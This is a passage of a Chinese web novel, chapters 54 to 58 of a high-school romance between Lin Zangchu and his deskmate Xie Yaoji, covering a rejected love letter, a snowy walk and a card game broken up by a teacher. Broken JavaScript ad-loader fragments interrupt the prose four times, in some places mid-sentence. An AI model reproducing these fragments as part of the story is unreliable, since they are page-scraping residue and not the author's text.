林藏初先是往操场上各忙各的同学们看了一圈,确保没人看见自己的逃课行径,随后悄悄绕过巡逻的老师,做贼似地进了教学楼。 会议室在二楼,不远,上一层楼梯就能到。 临近门口,林藏初小心翼翼地把自己贴紧在墙壁上,确保不会被里面开会的学生和老师看见。 从这个角度透过窗户只能看到长桌最前方的几个人,林藏初运气很好,一眼就看见了端端正正坐在副校长身侧的谢遥集。 也不知道是在听身旁的女生说什么,脸上带了些笑,时不时跟着赞同地点头。 林藏初躲在窗外,视线落在举着试卷的漂亮女生身上,莫名其妙地觉得有点刺眼。 他听不清他们到底在聊些什么,只看见谢遥集低头认真地应了两句,然后接过女生的卷子,左手持笔往草稿纸上开始算。 女生似乎是发现了谢遥集右手上的伤,先是惊诧了两秒,还想再仔细观察的时候,谢遥集冲着她笑容温和地摇了摇头。 于是女生原本想要关心询问的打算作罢,转而又低头往纸上写了些什么。 成绩优异的人好像天生就会有共同话题。 林藏初站在走廊里,扶着窗户框的手慢慢滑下,心里后知后觉地漫上来一点疼。 迟钝的人没能搞懂这种酸涩究竟因何而来,以至于走廊里下课铃响起来的时候,他还愣愣地戳在原地没动。 等会议室里的人都开始收拾桌面,一个接着一个地要往出走,林藏初才如梦初醒地匆忙抬脚往楼梯口跑。 他并没有跑出多远,因为绕过走廊拐角时屋子里的人接二连三地出来,谢遥集被剩在最后。 后勤老师正在锁会议室的门,手里的钥匙串稀里哗啦地响。林藏初鬼使神差地慢下脚步,随后就听见一道女声脆生生地喊:“谢神!能不能等下一起走呀?有道题想问你。” ……又要问题? 问问问,到底哪来的那么多题可以问? 一股无名之火倏地窜上心头,林藏初沉着张脸在楼梯拐角处站定。 ……然后很没骨气地选择了偷听墙角。 但等他真的探出头去看,才发现此刻站在谢遥集旁边想要问题的女生,并不是刚刚在会议室里坐在他身边的那个。 林藏初:“……” 这又是谁啊? 女生比谢遥集要矮下去一个头,长着张很可爱的娃娃脸,说话语速很快。 她偷偷觑了眼自己的身后,看见后勤老师终于锁好门踩着高跟鞋走掉,周围的同学也大都离开。 走廊里只剩了唯二的两个人。 林藏初屏息凝神地躲在墙后面,看见谢遥集先是疑惑地回了下头。 还没等开口,就被女生干脆利落地塞进手里一封粉红色的情书。 林藏初:“?” ??? “谢神,我喜欢你好久了。”他听见这个女生气也不喘地讲,“从高一就开始喜欢了。” “上次开会就想送给你的,可惜你没有来。” …… ………… 后面的话林藏初再没能听清,他愣愣地站在原地看,看谢遥集用那只缠着绷带的右手接过这位女生的情书。 他答应了? 林藏初的脑袋里倏地冒出来四个钢打铁铸的字。 他的眼眶忽然变得很酸,酸到几乎要溢出来生理性的眼泪来。 ……什么啊。 万年单身狗的讨厌同桌今天终于脱单,他该高兴才是。 林藏初低着头,努力地把那股酸涩的劲头忍回去。但难过就像史莱姆化身一样,从一个地方怼回去,又会从其他的地方冒出来。 虽然理智上知道自己该快点离开这个地方,好不会被人在墙角偷听这件事上抓个现行。 但两条腿就跟灌了铅似的,动不了。 早知道就不上来找他了……不上来找人也就不会撞见这一幕。 他和谢遥集就还是普通的同桌关系。 没准儿还能多要点喜糖过来。 林藏初靠着墙,很乐观和很自我安慰地想,试图把这件事、这个人都当做是排位赛连跪的尽力局一样。 放到记忆的角落里藏起来,再轻描淡写地彻底翻篇。 楼梯拐角缓台处的窗户没有关严,冷风顺着缝隙挤进来,吹到脸颊和眼睛下面,结冰似的火辣辣地疼。 林藏初终于忍不住想伸手去揉,胳膊刚抬到一半,就听见有脚步声在他前面站定。 很熟悉。 他怔然抬头,谢遥集的声音从头顶落下来:“林藏初?怎么一个人站在这儿? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “我……”林藏初刚一开口,就发现自己的嗓音带了很闷的鼻音,连忙提气改口,“体育课嘛,外面太冷了……我进来躲躲。” 他始终低着头,一直暗自观察着人的谢遥集终于察觉不对,也顾不得其他,伸手强行将这人的下巴抬起来。 脸上明显两道亮晶晶的泪痕,新鲜被刚冻上的,还带冰碴呢。 “怎么哭了?”谢遥集皱着眉问道。 林藏初拨开他的手,头偏向一侧也不看人,声音里还是带着点哭腔,好像更严重了:“……嗯,被冻的。” 这才刚下一天雪呢。 最低温度也没到那种寒冬时日的冷……怎么就能把人冻哭了? 谢遥集上下打量了林藏初一圈,好像忽然猜到些什么:“你都看到了?” “什么?看到什么了?” 林藏初眼圈红红的,吸着鼻子装傻充愣当自己不知道。 谢遥集把棉服口袋里的粉红信封递过去:“我说这个。” “……”就这么水灵灵地拿出来了? 林藏初瞪着眼睛,连难过都忘了一瞬。 谢遥集当着他的面拆开,竟然是个空信封。里面什么都没有。 “我没答应她。”谢遥集很认真地解释道,“所以她把信拿回去,只留了个空的信封。” 林藏初的心情在听到前半句的时候就莫名其妙地回温了,强撑着才没让自己的嘴角翘起来:“你答没答应她,关我什么事?” “当然有关系。” 谢遥集忽然低下头,很认真地看着他,“比起其他人,还是在意你……” “你的学习更多一点。” 差点咬了舌头。 林藏初:“……” 林小少爷的心跳像是在坐过山车一样发着疯时快时缓,几乎有些受不住了:“你谈恋爱,关我学习什么事?” “和别人谈恋爱就不能给你讲题了。”谢遥集忽然定定地望着他的脸,视线一寸寸下移,落在这人吞咽口水时上下滚动的喉结上。 “不能给同桌讲题……”林藏初听见他慢条斯理地开口,就好像在说什么很重要的事一样,“实在有点太得不偿失了。” 这是什么逻辑? 林藏初瞬间忘了先前的难过和酸涩,被谢遥集这么一叨扰,简直想掀开对方的头盖骨看他脑子里装的都是什么东西。 “……好有病。”林藏初偏过头,红着脸小小声地骂。 谢遥集没听见,但也可能是听见了之后故意装作没听见。 “我不会比你先谈恋爱的。我发誓。”最后的最后,林藏初听到同桌伸出手对着上天如此傻逼地起誓道。 林藏初下楼梯的脚一崴,险些又像上次一样滚下去。 谢遥集用自己完好无损的左手接住他,确保对方不会连人带同桌地摔下楼。 林藏初实在没忍住,开口怼他:“我不谈恋爱的话,你要单身一辈子吗?” 谢遥集忽然停了脚步看他。隔着两节楼梯,是个从下往上仰视的角度。 “对呀。”提出问题的人站在高了两阶的楼梯上,听见被提问者带着笑的答案,“那我就单身一辈子。” 55. Chapter 55 林藏初直到晚上回家,躺进房间里的柔软的大床上,都还在想谢遥集留给他的那句话。 这人到底什么意思? 因为不想谈恋爱,所以拿自己当挡箭牌? 林小少爷冥思苦想也没想出来个所以然,果不其然地又失眠了。 第二天,他顶着个浓重的黑眼圈刚一进班,周扬就像见到动物园珍稀保护动物大熊猫一样地叫起来:“卧槽!林哥!你这是打游戏打了一整晚没睡啊?” 正在旁边擦黑板的谢遥集跟着周扬的话皱眉看过来,林藏初看看他,把刚要出口的骂句给嚼着咽了:“……没。” “没打游戏。失眠了。” 他失眠的毛病其实是以前昼夜颠倒打游戏的时候落下的,只有关系好的几个哥们才知道。 周扬也听林藏初提过那么几次,立刻了然地点点头:“老毛病又犯了?” 林藏初说:“嗯。” 黑板上纷纷扬扬往下落的粉笔灰停了一瞬,随后又被人微不可察地接上。 周扬还在说:“我家有个在中医馆的亲戚,开的药方子治疗失眠特别有效,林哥改天你也去抓几副药……” 林藏初也不知到底听没听进去,无精打采地绕过讲台的人往座位上走。 嘴里应付道:“噢噢,好……谢谢,有时间一定。” 有点答非所问,但是除了谢遥集,谁都没听出来。 班级里的布局实在太挤,紧挨着讲桌就是第一排同学的桌子,要想经过只能从讲台上绕。 谢遥集这份擦黑板的工作一直持续到林藏初和周扬两个人说完话,成功地把林小少爷回座的路线给堵了个严实。 林藏初有点不想看见他,脚下换了个方向,宁可转过身走远一点儿的路线,从教室最后排没人的地方穿过去。 刚一动,手腕就被人握住了。 力道很轻,一点儿也不疼,林藏初的眼角跳了跳,听见谢遥集低声问:“为什么要躲我?” 上课前的教室嘈杂得很,类似于几十只讨食的鸟聚在一起叽叽喳喳吱吱嗡嗡,所以林藏初其实没怎么听清。 手腕上的力道又紧了几分,两人无缘无故地僵持着,换作平时林藏初早就该骂出声,问这人是不是有病,但今天他罕见地有点儿沉默。 在一旁絮絮叨叨的周扬早就闭了嘴。 看看这个又看看那个,最后迟疑居多地伸出试探的问句来:“林哥……谢神,你俩吵架了啊?” “没有。”几乎是异口同声。 相握的手藏在讲桌底下谁也看不见,林藏初眼睁睁地看着谢遥集脸上仍旧一片风轻云淡,像是什么事都没发生似的接着擦黑板。 ……更烦了。 这人怎么就这么会演呢? 林藏初干脆也不管了,心烦意燥地往讲桌上一靠,准备等谢遥集把黑板擦完。 ——还能一辈子杵在讲台上不走吗? 当路障也没有这么当的。 “……”忽然想到什么,他又低头看了一眼自己被人握着的手腕。 好像,正常的路障也没有会咬人的。 周扬目瞪口呆地看着这两尊大神就这么一靠一站地等到预备铃响,也没有要走的打算。 班主任的课对整洁度要求比较高,谢神认真负责地把黑板擦了一遍又一遍。 整个教室里吵翻了天,无人注意讲台上这看起来有些诡异的一幕。 还有半分钟上课,班主任随时都可能进来,林藏初终于忍不住结束了这场莫名其妙的battle,拽着人就往讲台下面跑。 他们的座位离黑板不远,走几步路的功夫就能到。 林藏初把谢遥集往位置上咣当一按,然后自己也跟着坐下了。 “……”相顾无言。 落座后的第三秒钟,数学老师抱着课本慢悠悠地出现在了班级门口。 与此同时,林藏初的桌面上被人推过来半张写满算式的草稿纸。 ——你还没回答我的问题。 上面仅剩的空隙被人见缝插针地写了一句话。笔迹特意换了不同颜色,扎眼得很。 林小少爷本来想装作没看见,但对面草稿纸隔几分钟就要再推过来一些。 已经从桌面“三八线”的右边彻底地到了左边。 ……再近些就要戳到脸上了。 林藏初忍无可忍地把这份上课违法乱纪的纸条抽过来。 ——什么问题? 草稿纸被他动作暴躁地折了几下,再重新丢回去。 谢遥集倒也没生气,心平气和地单手拆开了。 看到上面和原有草稿笔迹七拧八歪堆叠着的字,他先是皱了下眉,然后心里默记地把缠在一起的笔画分门别类地翻译了下。 隔壁班的老师过来叫贝姐去开会。 讲台下原本昏昏欲睡听着数学课的学生因为这句话而全部抬头。 谢遥集把纸条扣在手心里,没再接着问,但也没抬头,只是又翻过去一页数学题。 他右手上的伤疤已经在结痂了,虽然手腕处伤到筋骨的地方还是疼,但好歹外表上比昨天的骇人程度轻了些。 方才强撑面子铤而走险地拽人手腕,留下的余痛到现在都还没消。 林藏初顾忌着他右手的伤,连半点挣扎都没有,谢遥集是知道的。 换句话说,正因为谢遥集知道,所以他才会这样做。 用一点微不足道的伤痛来换喜欢的人妥协退让,这是笔稳赚不赔的买卖。 至于林藏初为什么要躲着他这件事,谢遥集心里其实已经有了个隐约的猜想,只是不敢确定。 ……因为实在是太痴人说梦了。 谢会长察言观色的技巧修炼多年,论谁碰上不得称赞句厉害,但在林小少爷的身上却头一回失了灵。 他猜不透林藏初的想法。 又或者,其实每个表情都看得懂,只是不敢去信。 寂静的班级在老师走后重新恢复成菜市场砍价的吵闹模样,纸条和试卷乱飞。 斜后排的同学递过来纸条想传,见前面的人是谢遥集,又罕见地迟疑了几秒。 纸条递在空中要送不送,谢遥集刚想伸手帮忙去接,身侧就伸过来一只好看的手。 稳稳地把纸条给拦住了。 林藏初“啧”了一声,语气很冲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地朝人问:“给谁的?” 斜后桌同学一怔,屏住呼吸小心翼翼地指了指远处角落的同学。 林藏初的表情明显松懈下来,也没说什么,只捏着纸条转过身比对了下目标距离。 手腕循着巧劲儿轻轻一晃,纸条主人眼睁睁地看着自己叠成小条的“信”在空中划了道优美弧线,快准稳地落在了他要送的人手里。 “……”斜后桌看傻了。 反应过来之后,立刻双手合十、感恩戴德地朝着林藏初拜了拜。 林藏初没看他,帮忙扔完纸条就接着忙自己的事去了。 下课铃响的时候,贝姐正好开完会回来。 一架答题卡折成的纸飞机从教室后面飞到教室前面,在空中翻滚几个来回,不偏不倚地落到班主任的鞋子旁边。 刚把自己的数学113分答题卡变成飞机飞出去的同学甲:“……” 完了。全完了。 班级里一时鸦雀无声,结果贝姐很意料之外地没生气,只道:“有个好消息和坏消息。想先听哪个?” 一班同学异口同声地喊要听坏消息,邱贝站在讲台上,清了清嗓子,故作神秘地顿了两秒:“坏消息是——” “学校刚才开会通知,下午雪休停课放假。” 她话音刚落,前几排的学生立刻欢呼雀跃地鼓起掌。 高姿早就习惯班主任的不按常理出牌在震耳欲聋的鼓掌声中默默举手,喊:“老师,那好消息呢?” “好消息就是,下午有省外的高校教授来给咱们做招生宣传。” 邱老师笑眯眯道:“所以一班和二班的同学不放假。” “啊——不要啊——” 此起彼伏的哀嚎声瞬间取缔了原来的鼓掌欢呼,班级里气压沉闷士气低迷,甚至还有以头抢桌的清脆响声。 “这算什么好消息啊!!!” 隔壁二班的老师估计也是刚通知这个事,一班这边嚎完二班又嚎,活像是对儿惺惺相惜的难兄难弟。 林藏初枕着胳膊趴在桌子上,心里没什么波动把这份悲喜交加的通知听完。 招生宣传……这种会议,其实自己不去也可以吧? 习惯性逃课的人心里暗戳戳地想,听了也考不上,干嘛去凑这个热闹? 然后他就听见班主任在前面用力敲了敲讲桌:“学校要求全员到齐,到时候点名,不许少人。” 林藏初:“……” 好吧。 谢遥集好像也跟他想到一块去了,贝姐话音一落,林藏初很明显地听见这人叹了口气。 他没忍住转头去看,谢遥集正低着头,桌面上摊着张清单表,其中有一行明显是刚加上去的,深蓝色的墨迹还没干。 似乎是因为听见班主任的强调,这人又把笔捡起来,将刚添上去的字给勾掉了。 林藏初盯得实在太久,久到谢遥集有所察觉地看过来,前者连忙做贼心虚地收回视线。 只是眼神太好,慌忙之中还是瞧见了几个字。 那张清单表上新加上去的任务是: 邀请同桌来网吧一起学习。 林藏初:“……?” 56. Chapter 56 高校招生宣讲的时间定在下午两点。 林藏初出门的时候,外面又飘起了雪花。雪势算不上大,零零散散地落在身上,只要稍微跺脚就能抖下去。 他踩着点儿来,一下车就在校门口碰见了周扬他们,几个人正聚在一起嘀嘀咕咕地等同学。 见到林藏初的身影,周扬下意识抬手看表。 林藏初直觉他要说点什么话出来,果然:“我草,林哥都来了!” “——还剩三分钟就开始了,咱要迟到了!” 林藏初:“。” “那就不等了,咱先进去。” 方有才在旁边斩钉截铁一锤定音,拽着周扬的帽子就要往校门里面走。 “哎哎……”周扬险些被他拽了个趔趄,语气有点犹豫,“真的不等了?” “……谢神应该不会怪我们的。”方有才说,“不等了,走吧。” 谁? 原本还在看热闹的林藏初心绪一顿,倏地叫住刚要离开的几人:“等一下。” “你们刚才说,在这里等的人是谁?” 林藏初的语气听不出来情绪,方有才抓了下头发,有些摸不着头脑:“谢神啊。” “他之前找我要的英语基础套卷,说是今天给他,结果干等不见人。” “不过说来也奇怪,谢神平时从来不做这种题的,怎么忽然转性了?” 方有才说着说着又开始嘀咕着摇头,“那套卷实在太简单了,平时都没什么人做的……” “学神做什么卷都肯定是有自己的道理。”周扬打断他,“咱别管。” 方有才点点头:“也是。” “说不定是什么谢神款独门秘笈,不好外传。” 几个人搭着肩,踩雪往校门里面走了几步,又像是想起什么似的折返回来。 “哎,林哥!” 方有才从自己的书包里掏出来厚厚一摞英语套卷,表情郑重地递到了林藏初面前:“林哥,你等会儿肯定跟谢神坐一起吧?” 林藏初:“……?” 卷子有些沉,林藏初往后退了两步才勉强稳住身形。 “什么?” “到时候会议室里人太多,也不好找。”方有才说,“林哥,你离得近。帮个忙,帮我把卷子捎给他呗。” ……他什么时候说过要跟谢遥集坐一起了? 林藏初举着卷子,张了张嘴,没能想明白这其中的关联。 但英语课代表似乎把他的这份沉默当成了肯定,热泪盈眶地抓着林藏初的手上下一握:“谢谢林哥!那卷子就托付给你了!” 雪纷纷扬扬地在下,两个人扔下卷子,一溜烟地窜没了影儿。 只剩下林藏初抱着英语卷站在原地。 “?” 袖口上落了些雪,他没管,只低头看了看自己手里被托付的、要交给谢遥集的东西。 《零基础学英语》,《英语基础双练》,《冲刺高考基础英语三十套》。 ……? 这都是些啥啊。 谢遥集肯定是不可能做这些题的,除非他脑袋被门夹了,英语水平倒退一百分。 还是又接了新的家教? ……忙得过来吗这个人? 林藏初皱着眉思考,脚下却没有要往学校里面走的意思。 两点已经过了,但是谢遥集还没来。 天气冷,校门口的奶茶店玻璃门禁闭,远处白茫茫的街道尽头不见人影。 林藏初收回视线,跺了跺脚,把肩上和袖子上的薄薄一层落雪借着惯性跺下去。 放假时候的校门口要比平时安静得多,也可能是下着雪的缘故。 林藏初抱着卷子数自己的心跳声。 数到第一百六十七下的时候,他等的人终于撑着伞出现在街边。 落雪把碎花伞面盖成很厚重的白色,跟着谢遥集行走的动作扑簌簌地往下掉。 “怎么在这里傻站着?” 走得近了,林藏初听见他问,“不冷吗?” 谢遥集伸手将人稳稳当当地拢在伞里,无声隔绝外面飘着的雪花。 他的视线落在林藏初被冻得有些发红的鼻尖上,忍不住用手指轻轻地蹭了下:“下着雪呢,也不知道打伞。” 温热的触感碰在鼻尖,林藏初忍不住往后缩了缩,躲开谢遥集的手:“这点儿雪打什么伞啊……” 似乎是想快点找个其他话题,好能遮掩过去此时的奇怪气氛,林藏初别开头,把手里抱着的卷子往前一送。 半点不带停顿地复述:“英语课代表说这是你要的什么英语基础套卷,他先进校门了让给我转交给你。” 谢遥集闻言一怔,目光缓缓下移,落在林藏初手里的英语卷上。 “……” 他确实是找方有才要了英语老师赠送的那几本基础英语题,也确实告诉对面今天就要。 ……但是为什么会阴差阳错地直接送到林藏初手里? 林藏初把题往前一递,人也跟着往后退了两步,跟谢遥集之间的微弱距离一瞬间拉开了。 “喏。给你。” 谢遥集:“……” 他没答话,也没去接,握着伞柄的手不动声色地往前挪了几分,抖下来一大片雪。 “哎!”林藏初像只受惊的兔子一样又往伞下面窜了几公分。 “你帕金森啊?连把伞都拿不稳。” 两人之间原本已经拉开的距离重新拉近,谢遥集的目光落在这人头顶圆圆的发旋上,没忍住扯了扯嘴角。 “抱歉,不是故意的。” 林藏初:“……” “算了。” “你赶紧把题拿走。怪沉的。” 谢遥集从善如流地单手从他手里接过那几份英语基础套卷,拉开锁链,装进了书包里。 交接结束,林藏初得了这人一句谢谢,不知为何身上像是有蚂蚁在爬似的不自在。 可能是被冻得时间长了,也可能是因为下雪天跟人同撑一把伞。 两个人谁都没说话,走得也很慢,一时周围只剩下了窸窸窣窣的踩雪声。 篮球架的网筐结了冰,上面憨态可掬地卡着只不知被谁扔上去的篮球,滑稽得很。 有松鼠噌地从一棵树跳到另一棵树,树枝摇晃,大片大片的雪掉下来砸在地上,变成树根下一小撮安静的雪堆。 会议地点在南楼的五楼多媒体教室,南楼是高一高二的地盘,林藏初自打升了高三就再也没去过。 倒是谢遥集因为职务在身,经常流窜在南楼的各个楼层和多媒体教室里开会。 南教学楼外面的玻璃门紧闭,被厚重的棉质帘子挡着,看不见里面 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢遥集站在门外收了伞,林藏初先他一步将门推开,外面的冷气跟着缝隙刮进来,把厚厚的棉帘子吹开一角。 “去年也是这个时候。”谢遥集低着头,抖了抖伞上的雪,闲聊似的提起个话头来。 “放假前在南楼帮忙整理资料,结果巡察老师以为没人,把楼门给锁了。” “啊?” 林藏初把被风吹起来的门帘掀得更大了一点,“那你怎么出来的?” “当然是跳窗。”谢遥集定定地看着他,只道,“还在楼下找到了个同命相怜的倒霉蛋。” “那天的雪特别大,倒霉蛋从窗户往外一跳,落地的时候头朝下栽在了雪堆里。” “还威胁我……” 林藏初越听越熟悉,越听越不对劲:“等等,这个倒霉蛋是——” “……威胁我不准把这件事说出去。”谢遥集慢悠悠地把没说完的话接上了。 林藏初:“……” 这个倒霉蛋好像是他。 犯了错误被老师留下打扫卫生,结果扫着扫着躲在角落里开了把游戏。 打完出去一看人都走了,走廊里只剩了个态度冷冰冰的学生会主席。 那个时候他和谢遥集的关系没有后来那么僵,但也算不上好。 所以林藏初没吭声也没打招呼,一路沉默地跟人走下楼,沉默地拧开窗户把手,沉默地蹲在窗台上纵身帅气一跃—— 然后把自己倒栽葱似的插在了外面的雪堆里。 谢遥集当时好像是笑了。 平时高冷又严肃、端得要死的人头一次笑得那么大声。 他当时怎么回的来着? “再笑把你舌头拔了!不准往外说,不然找人揍你,听见没有?” 时隔一年,当初林少爷放的狠话掷地有声地重新出现在了脑海里。 林藏初:“。” 谢遥集看着他,也不说话,就只是笑。 笑够了才问:“想起来了?” “……”林藏初懒得搭理他,瘫着张脸自顾自地转头往楼上走。 谢遥集腿长,几步功夫就把人给追上了。他往左走林藏初就往右,大有一副誓死要远离这人的样子。 “生气了?” 谢遥集凑过去想看这人的表情,林藏初没给他这个机会,扭过头,又往上跨了三个台阶。 谢遥集摸摸下巴,心道这是真的把人逗生气了,琢磨着要去哄人。 ……但少爷坏脾气的样子也这么好玩儿,又有点舍不得哄。 谢会长强压下嘴角的笑容,私心似的想把这人的别扭样再多瞧上一会儿。 他看出来林藏初其实没有真的生气,只是平时嘴没把门惯了,偶尔被这么追溯一下过往,不知道该接什么。 ——林藏初确实有点落荒而逃的意思在。 因为他方才经人一提醒,想起去年遇见谢遥集这码事的同时,也想起来了自己当时到底为什么要对着人莫名其妙地放“找人揍你”的这种狠话。 林藏初上楼的速度越来越快,也不回头,只是一个劲儿地走。 仿佛这样就能把当初的心情甩掉似的。 林少爷当时蹲在大雪纷飞的窗台上,回头朝着冷冰冰的谢会长一望,心里想的是: 谢遥集这人,怎么能长得这么好看? 57. Chapter 57 羞耻心作祟,林藏初活像被艳鬼追一样飞也似的窜到五楼,整个过程只用了不到一分钟。 多媒体教室只有个靠着讲台的前门,林藏初深呼吸再呼吸,本来还在犹豫是敲门还是直接推开,回了下头,又看见谢遥集不紧不慢地缀在自己身后。 林藏初……林藏初打了个寒战,手比脑子还快,迅速把多媒体教室的门哐当一声推开了。 门推开的一瞬间,里面叽叽喳喳聚在一起打闹的人齐刷刷地望过来。 没有会议,也没有传说中的高校教授。 有的只是坐在第一排慌乱收起扑克牌的一班同学:“哎呦,林哥,你来啦?” 林藏初:“?” 林藏初推门的手顿在了空中:“不是说开会吗?” “确实是要开会……” 高姿也放下手中的纸牌,解释道:“但是刚才主任过来说,因为下大雪高铁延误,教授还没到。” 谢遥集的手从他的脑袋旁边伸过来,按着门板,将教室的门推得更开了一点。 林藏初能感觉到身后人强烈的存在感,有点想跑,但是高姿已经从座位上起身,热情地迎到了他面前。 “来啊林神,这回总跑不掉了——来跟我们一起打红十!” 林少爷对纸牌类游戏有种天然的抵触感,并且妄想躲得过初一也躲得过十五:“不了,我……” “不什么不啊!”生活委员不由分说地把自己的牌往他手里一塞,“拿着!” 偌大的多媒体教室里,没有一人为林少爷说话。 全是唱反调的:“林哥!上次说好了的!快过来坐这儿,给你留位置了。” “就是,这次可不能再躲局了嗷。” “你给林哥留的什么破位置!我今天算了,座位朝北破财。” “去去,别听他俩的。”高姿揽着人往第一排走,“林神接我的牌,当然是坐我旁边了,是吧林神?” 林藏初:“……” 招生宣传会议秒变红十扑克牌局,他这次到底没能躲过,被人赶鸭子上架地按在了座位上。 高姿递给他的这把牌算不上差,但是小牌也支棱八翘地打不出去,只能往下一张一张地顺。 谢遥集不知道什么时候也跟了过来,站在林藏初旁边围观。 ——越看越觉得不对劲。 等林藏初在手里一堆356的散牌之中毅然决然地出了自己最大的黑桃A之后,他终于瞧出了端倪,忍不住开口提醒:“你确定要出这个吗?” 林藏初:“啊。那不然呢?” 他的下家盯着那张黑桃A眉头紧锁,最后憋屈地说了句“要不上”。 下下家继林藏初的黑桃A之后眉开眼笑地接了张红十,不慌不忙扔出最后一张黑桃4。 “赢了。谢谢林哥送来的黑桃A。” 林藏初:“?” 他皱了下眉,转过身问谢遥集:“我刚才打的不对吗?” 谢遥集不知道该怎么说,只好道:“你看看你下家的牌。” 于是林藏初凑过去,看见自己的下家周扬手里仅剩的一张方片A。 周扬的怨念如有实质地环绕在林藏初的身侧:“我差点就走了——林哥,你说实话,你到底是跟谁一伙儿的?” 因为输了所以正往外拿钱的林藏初:“。” 少爷不信邪,把自己“誓死不玩纸牌”的誓言抛到了九霄云外,抿着唇道:“这把算我失误,再来!” 于是又打了几把,全输了。 谢遥集看着林藏初又掏出来一张红艳艳的票子:“嘶——” 面额太大,牌桌上的几个人手里面零钱加起来都找不开,所以少爷把百元大钞给放回去,翻来翻去找出来一张五十的。 一边站着的人再次肉疼地抽气:“嘶——” 林藏初把钱拍在桌子上,面无表情地转过头。 谢会长面上的表情温和又无辜:“怎么了?” 林藏初:“……” 这句话该我问你吧? 周扬没看出来两人之间的暗流涌动,他也倒霉,几次都跟林少爷抓牌抓到一伙,输了不少。 “林哥,到你抓牌了,快!” 这一把林藏初爆冷抓了两张红十,差点打成倒客。 他捏着自己手里看不出个数的几张牌,对面阵营剩下的最后一个人虎视眈眈。 大王小王和红十已经都下桌了,他手里就只剩了些微不足道的对子和单张。 连输五把,林藏初的气势都有点不足,捏着牌迟迟不肯出手。 周围人都在屏息凝神地等,林藏初咬咬牙,刚要把仅剩的单张扔出去。 旁边忽然伸过来一只戴着红绳的手,把他的动作按住了。 林藏初顿了下,抬头看见谢遥集冲着他摇了摇脑袋,手指一换,将牌里最小的对四扔了出去。 “?” 这种牌也能随便打? 林藏初根本没把谢遥集打出去的这两张牌放在考虑范围内,一时有些发怔。 然后就看见对面的人表情由喜转悲,瞪着眼睛,像是要把谢遥集盯出个洞来。 “……要不上。” 林藏初最后顺利地走了。 剩了几张牌留在手里没出去的同学抱着头悲愤大喊:“都怪谢神!他算我牌!” “正常人这种情况下怎么可能贸然地出对四啊!” “他就是算准了我手里一个对子都没有!” 被当众点出技巧所在,谢遥集没承认也没否认,只跟着笑笑,右手随意扣在被人潦草改造而成的牌桌上。 林藏初盯着那只几分钟前帮他抽牌的手,手指匀称修长,指甲修整得干净圆润。 许是按着桌面的缘故,手背微微曲起,能隐约看见苍白皮肤下面的青色血管。 他下意识地咽了下口水,脑袋里忽然不受控制地蹦出来个想法。 ——想看这只手抓扑克牌的样子。 林少爷这么想了,也确实这么做了。 他趁着洗牌的功夫起身让开位置,挑衅似的顺势把人往前一推。 “过来替我玩几把。” 两人位置在一瞬间互换,林藏初稍稍弯下腰,贴着谢遥集的耳朵语调很慢地讲,“输了算我的,赢了你拿着。成不成?” 桌面上的牌还在洗,谢遥集的肩膀被林藏初按着,没动。 “输了算你的?”林藏初站在这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人身后,听见他饶有兴趣地问。 垂在对方肩侧的手被人用掌心握住,哄小孩似的轻轻晃了晃。 谢遥集的指尖发凉,掌心却是热的。 明明没用力,但林藏初的手指还是被他攥得有些麻。 这个请求提出来的太突然,也太不合时宜,林藏初就着被人握住手指的姿势僵了两秒,刚想说自己是开玩笑。 “好啊。”然后他听见谢遥集说,“那拉勾。” 一个人的牌局就此变成了两个人的。 扑克牌被重新打乱又再次分发。 只是如今站着的人变成了林藏初,而谢遥集坐在他面前,漂亮的手里捏着牌。 这副扑克牌的背面是黑白花色的,因为用了太多次,以至于纸牌边角处都泛着旧,毛茸茸的边被人轻飘飘地拢在手里。 有一点违和。 林藏初盯着那只手,没来由地心想。 还是拿着笔做数学卷的时候更顺眼一点。 谢遥集不知道自己被一言以蔽之地盖了“违和”的戳,注意力仍然放在牌局上。 他这把摸的牌不是很好,按照平时的正常打法肯定行不通。 红桃三先落桌,下家紧跟出一张方片七。 轮回到谢遥集的时候,牌面已经到了黑桃Q。 他推了推眼镜,不动声色地推出来一张红桃2。 在场的都不是能沉得住气的,大王果然被吊了出来,红十紧随其后。 一来一回,节奏要比前几场都快上几倍,林藏初瞠目结舌地盯着看,没看出个所以然。 只知道最后队友扛旗先走,赢了。 接下来的几把同样如此,谢遥集抓的那一手破牌,林藏初在旁边看了都直抽气。 但最后就是莫名其妙地或平或赢。 兜兜转转算下来,林藏初这边反倒混了个收支相抵。 谢遥集把他先前输掉的那些全赢了回来,还倒赚了两块钱。 周扬有幸跟谢会长做过几次盟友,打得畅通无比如鱼得水,脸上都笑开了花。 等到最后蒋主任推门进来的时候,谢遥集刚不动声色地输掉一把两块钱的局。 不赢不输,正好得很。 几个人忙里忙叨地把扑克牌往桌子底下藏,蒋主任站在门口怒视:“别藏了,我都看到了!” “一中校规第十七条,校园内禁止聚众赌博!” 他锐利的视线扫过,情绪位于发怒边缘,沉声道:“下周一人交两千字检讨!听见没有!” 忙着毁尸灭迹的大家动作一顿,齐刷刷地抬头看主任。 蒋主任:“看我干什么?我脸上有检讨吗?” “好凶啊蒋主任。” 作案工具被主任雷厉风行地没收了,周扬离得远,苦哈哈地对着林藏初咬耳朵,“我怎么感觉上次写检讨还是上次呢。” 林藏初耸肩:“才两千字,你就偷着乐吧。” “说起来我也好久没写了,乍一听还有点想念……” 话说到一半忽然顿住,林少爷忽然想起来自己“好久没写检讨”的原因是什么。 距离最近的上一份三千字检讨,好像是谢遥集在办公室帮他写的。 58. Chapter 58 蒋主任来是其实为了通知他们会议再次延后两小时的。 结果看见一群人在真心话大冒险,又看见一群人坐地起桌地打扑克,肝都差点气没半条。 最后的解决办法是两班人马全部被赶回了高三北楼,蒋主任气势汹汹地来,又气势汹汹地走。 只剩下已经回到班级的同学坐在一起面面相觑:这会议到底是开还是不开? 生物课代表以身作则,掏出来两套生物卷,坐他旁边的周扬不为所动,转头对着林藏初问:“林哥,喝不喝奶茶?” “我要回家把手机偷渡过来,可以帮你带一份。” 